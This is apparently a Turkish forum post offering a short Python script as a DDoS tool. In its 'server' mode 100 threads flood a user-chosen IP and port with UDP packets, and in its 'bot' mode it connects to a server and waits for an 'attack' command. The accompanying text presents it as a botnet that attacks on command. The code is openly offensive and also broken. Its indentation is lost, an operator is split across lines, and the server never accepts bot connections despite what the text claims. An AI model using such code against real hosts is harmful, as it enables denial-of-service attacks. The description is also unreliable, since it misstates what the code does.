Python:
import socket
import threading
import time
def ddos(ip, port, packet_count):
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
for _ in range(packet_count):
sock.sendto(b"", (ip, port))
def connect(ip, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((ip, port))
return sock
def send(sock, data):
sock.sendall(data)
def main():
ip = input("Hedef IP: ")
port = int(input("Hedef Port: "))
packet_count = int(input("Paket Sayısı: "))
threads = []
for _ in range(100):
thread = threading.Thread(target=ddos, args=(ip, port, packet_count))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
def bot():
ip = input("Sunucu IP: ")
port = int(input("Sunucu Port: "))
sock = connect(ip, port)
send(sock, b"connect")
while True:
data = sock.recv(1024)
if data == b"attack":
send(sock, b"attack")
time.sleep(1)
if __name__ == "__main__":
if input("Sunucu mu yoksa bot mu olmak istiyorsunuz? (s/b): ") =
= "s":
main()
else:
bot()
Sunucu kodunu çalıştırarak bir DDoS saldırısı başlatabilirsiniz. Bot kodunu çalıştırarak bir bot oluşturabilir ve sunucu ile bağlantı kurabilirsiniz. Sunucu botlardan gelen bağlantıları kabul eder ve onlara saldırı başlatması için komut verir.
Moderatör tarafında düzenlendi: